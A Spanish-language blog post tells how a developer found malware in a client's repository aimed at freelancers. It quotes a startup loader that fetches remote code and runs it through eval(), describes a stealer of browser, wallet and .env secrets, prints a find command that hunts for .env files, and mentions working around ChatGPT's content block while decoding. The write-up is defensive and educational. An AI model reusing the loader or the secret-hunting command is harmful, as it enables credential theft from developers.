Back to Blog

Cómo descubrimos una estafa dirigida a Freelancers en Upwork, Fiverr y otras.

D

Danylo Trofymov

9/30/2024
Cómo descubrimos una estafa dirigida a Freelancers en Upwork, Fiverr y otras.
Un repositorio aparentemente legítimo ocultaba código malicioso diseñado para robar credenciales y claves sensibles. En este artículo contamos cómo detectamos la estafa, las señales de alerta y las lecciones clave que todo desarrollador freelance debe conocer para protegerse.

Recientemente tuvimos un incidente cercano que resaltó la importancia de ser vigilantes al manejar código proporcionado por clientes, especialmente para desarrolladores que utilizan plataformas freelance como Upwork y Fiverr.

Todo comenzó cuando un nuevo cliente compartió un repositorio de GitHub y los requisitos del proyecto. Después de clonar el repositorio, noté que algo no se sentía bien. Mi gerente recomendó usar un IDE impulsado por IA llamado Cursor para ayudar con el análisis del código antes de continuar. Para ser precavido, decidí ejecutar una revisión de seguridad.

Cómo atacan

Al inspeccionar el código más a fondo, Cursor detectó una solicitud sospechosa a un servidor combinada con la ejecución de código en tiempo de ejecución. El código del backend estaba configurado para ejecutarse inmediatamente al iniciar el proyecto, lo cual fue una gran señal de alerta. El código enviaba una solicitud a un servidor HTTP disfrazado como un detector de ubicación, y la respuesta se pasaba a una función eval(). Esto era muy preocupante, ya que eval() puede ejecutar cualquier código externo que reciba, lo que representa un riesgo de seguridad significativo. En ese momento, todo sobre el código quedó claro. Rechazamos al cliente y lo reportamos en la plataforma. Sin embargo, sentí curiosidad y decidí continuar la investigación esa misma noche.

const checkRegion = async () => {
  const res = await axios.get("http://********/api/user/thirdcookie/v3");
  eval(res.data.cookie);
}

checkRegion();

Registré la respuesta del servidor. Contenía código ofuscado, lo que hacía difícil entender su intención a primera vista. Recurrió a ChatGPT para ayudar a decodificar la respuesta. Aunque las políticas de contenido de ChatGPT bloquearon mis intentos iniciales, ajusté mi enfoque. Finalmente, utilizando herramientas de desofuscación en línea, comencé a entender el verdadero propósito del código malicioso: dependiendo del sistema operativo, buscaba en distintas rutas donde podrían almacenarse contraseñas, incluidas las de Google Chrome, Firefox, Opera, Edge, MetaMask, Exodus, Atomic Wallets y el Llavero de iCloud, y las enviaba a un servidor remoto.

Image

El ataque no se detuvo con el script inicial

Sin embargo, el segundo archivo generó aún más preocupación. Este archivo estaba ofuscado y utilizaba un método de una librería importada para decodificar una cadena Base64. El código estaba codificado múltiples veces y solo después de varias capas de decodificación quedó claro su verdadero propósito: el script estaba diseñado para sistemas macOS, Windows y Linux, y buscaba archivos de forma más exhaustiva utilizando palabras clave en comandos estándar de terminal, en lugar de limitarse a rutas codificadas de forma rígida.

La parte más alarmante de este ataque fue su impacto potencial en los desarrolladores, especialmente en aquellos que trabajan en proyectos comerciales. El script buscaba activamente archivos .env, que almacenan información sensible como claves de API, credenciales de bases de datos y otras claves secretas utilizadas en aplicaciones. Si estos datos se roban, los estafadores pueden usarlos para acceder a servicios en la nube, eliminar datos críticos o abusar de sistemas de correo electrónico para realizar más estafas.

find ~/ -type d -name "node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config  webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi" -prune -o -name *.env -print

Lecciones aprendidas

Este incidente fue un recordatorio contundente de hasta dónde pueden llegar los estafadores para atacar a desarrolladores y empresas de software. Estas son las principales conclusiones de esta experiencia:

  • Revisar constantemente el código proporcionado por clientes antes de ejecutarlo, incluso si parece legítimo.
  • Aprovechar herramientas de IA como Cursor y servicios de desofuscación para analizar rápidamente código sospechoso, especialmente al tratar con clientes desconocidos.
  • Mantener actualizados los conocimientos de software y seguridad para adelantarse a amenazas cibernéticas en constante evolución.
  • Usar máquinas o entornos aislados para trabajar y minimizar la exposición de datos personales. Esto reduce el riesgo de exponer información sensible si ocurre un ataque.

Conclusión

Los riesgos de seguridad ocultos pueden estar presentes incluso en proyectos que parecen legítimos. Este encuentro cercano subrayó la importancia de la vigilancia y del uso de todas las herramientas disponibles para proteger los datos personales y organizacionales. Los desarrolladores deben evolucionar constantemente sus prácticas de seguridad para mantenerse un paso adelante de los ciberdelincuentes cada vez más sofisticados y garantizar la seguridad de su trabajo y de sus clientes.

Aviso legal

Si alguna vez decides realizar ingeniería inversa o analizar código potencialmente malicioso, hazlo siempre en una máquina virtual (VM) separada. Esto garantiza que tu sistema operativo principal y tus archivos importantes permanezcan aislados y protegidos frente a cualquier efecto dañino de la ejecución o el análisis de software malicioso. Las máquinas virtuales son una capa de seguridad esencial cuando se trabaja con software riesgoso o no confiable.

Category:Software Development